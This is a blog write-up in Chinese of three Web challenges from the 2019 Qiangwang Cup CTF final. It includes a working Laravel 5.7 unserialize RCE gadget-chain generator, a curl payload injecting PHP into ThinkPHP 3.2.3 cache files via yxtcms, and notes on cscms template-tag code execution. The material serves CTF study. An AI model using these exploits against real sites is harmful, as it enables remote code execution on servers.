2019强网杯线下Web题解

本篇文章记录了 2019强网杯线下赛中的3道Web题解,个人并未参加线下赛,仅复盘记录。题目下载:链接: https://pan.baidu.com/s/1mcHEJ1fmWtw4ZOMkEEcH4Q 密码: fl0c

laravel

先通过如下命令将 Web 网站搭起来,通过查看 composer.json 文件可知该网站采用了 Laravel 5.7 版本框架。如果有关注过 Laravel 的漏洞,应该知道该版本的 Laravel 存在一个远程代码执行漏洞,我们继续看代码部分。

1
2
➜  laravel-5.7 composer install
➜ laravel-5.7 php -S 0.0.0.0:8000 -t public

1

框架的路由也不多,找到对应的控制器,发现明显是一个反序列化漏洞,估计就是利用反序列化进行代码执行了。

2

直接通过 CVE 就能找到相关漏洞分析文章,虽然作者删了原文,但是还是可以通过 google 快照找到 EXP

3

该漏洞主要是利用了 Illuminate\Foundation\Testing\PendingCommand 类的 run 方法来执行命令,具体漏洞的分析见下篇文章。我们可以构造 EXP 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;

public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}

namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}

namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;

public function __construct($bind){
$this->bindings=$bind;
}
}
}

namespace{
$genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));
$application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")));
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand("system",array('ls'),$genericuser,$application);
echo urlencode(serialize($pendingcommand));
}

?>

将上述文件放在 public 目录下生成 EXP 即可,执行 ls 命令结果如下:

4

yxtcms

题目说明:

已经删除可用的install , admin, UpdateController.class.php和SettingController.class.php文件夹和文件,相关思路请不要尝试。

题目提供了源码,可以发现该 cms 基于 thinkcmf 二次开发,而 thinkcmf 用的就是 ThinkPHP

5

thinkcmf 有两个大分支,一个基于 ThinkPHP3 ,另一个基于 ThinkPHP5 ,所以我们要先查一下该 ThinkPHP 的版本。如下图所示,可以发现是其版本是 3.2.3 ,而这个版本的 ThinkPHP 最出名的 RCE 就属缓存设计缺陷 getshell 了,漏洞成因和 ThinkPHP5 版本的基本一样,详细分析可以参考: ThinkPHP5漏洞分析之代码执行(八)

6

为了确定该漏洞没有被人为修复,我们可以看一下缓存设计文件的代码。具体代码如下图所示,可以发现 第19行 代码将缓存数据写入 PHP文件中,虽然开头有注释符,但我们可以使用换行符( %0a)绕过。

7

ThinkPHP3.2.3 开发手册可知,可以通过 S 方法进行数据缓存。

8

我们全局搜索一下哪些方法调用了 S 函数,会发现 thinkcmf 中的动态更新配置函数 sp_set_dynamic_config 似乎比较好利用,因为其将传入的 $data 变量和系统配置变量数组合并,并将合并数据写入缓存中。

9

我们继续搜索何处调用了 sp_set_dynamic_config 函数,会发现除了题目删掉的 admin、install 目录外,还有四处调用了该函数。其中只有第二个可以直接访问,其它貌似都要登录。

10

所以我们根据 ThinkPHP3.2.3 的访问规则访问即可, payload 如下:

1
curl -d 'authoCode=%0aphpinfo();//' 'http://0.0.0.0:8000/index.php?g=api&m=oauth&a=injectionAuthocode'

11

这里的缓存文件名实际上就是缓存变量名的 md5 值,例如这题中 S("sp_dynamic_config",$configs) 对应的文件名就是 md5(“sp_dynamic_config”)

cscms

同样题目给了源码,提示说删了 admin 目录、 install.php ,于是上 CVE、CNVD、seebug 上搜了一下,没有发现有用的 RCE 漏洞。我们先从源码中搜集一些版本信息,可以看到该 CMS 用的是 CI 框架,版本为 3.1.3CMS 本身的版本为 4.1.75

1
2
3
➜  html grep -Rni 'version'
cscms/config/sys/Cs_Version.php:4:define("CS_Version","4.1.75");
cscms/system/core/CodeIgniter.php:58: const CI_VERSION = '3.1.3';

我们可以上该 CMS 官网看一下更新日志,从中找寻漏洞点。如下图所示,可以看到该 CMS 存在 SSTI 漏洞,遂及将补丁下载下来分析。

12

补丁中主要有两个文件发生变化:

  • cscms/app/helpers/common_helper.php:删除了get_file_mime方法
  • cscms/app/core/CS_Input.php:增加了get、post、post_get、get_post四个方法

13

看样子,好像原先的 SSTI 漏洞是由于 GET、POST 引起的,因为这里并未发现对过滤规则的修改。其实这个 CMS 我第一眼看过去,就觉得和 海洋CMS、苹果CMS、DuomiCMS 有点像,而这几个 CMS 都存在模板标签注入导致代码执行的问题,那么我们尝试全局搜索一下 eval 函数。从搜索结果中,我们可以看出这个 CMS 的写法真的和前面提到的几个 CMS 很像,所谓的 SSTI 极有可能就是模板标签注入。

14

细看代码,我们会发现程序会将 {cscmsphp} 标签中包裹的代码当做 PHP 代码来执行。

15

于是随手试了一下,发现搜索处果然存在代码执行,就是不知道当时比赛的时候这个 dance 模块有没配置开放。

16

如果没有配置开放的话,还可以利用留言处注入 payload 。具体可以参考其他 writeup

其他WP

实战:2019 强网杯 final Web Writeup

强网杯决赛RW的3个Web题

文章作者: Mochazz
文章链接: https://mochazz.github.io/2019/06/19/2019强网杯线下Web题解/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog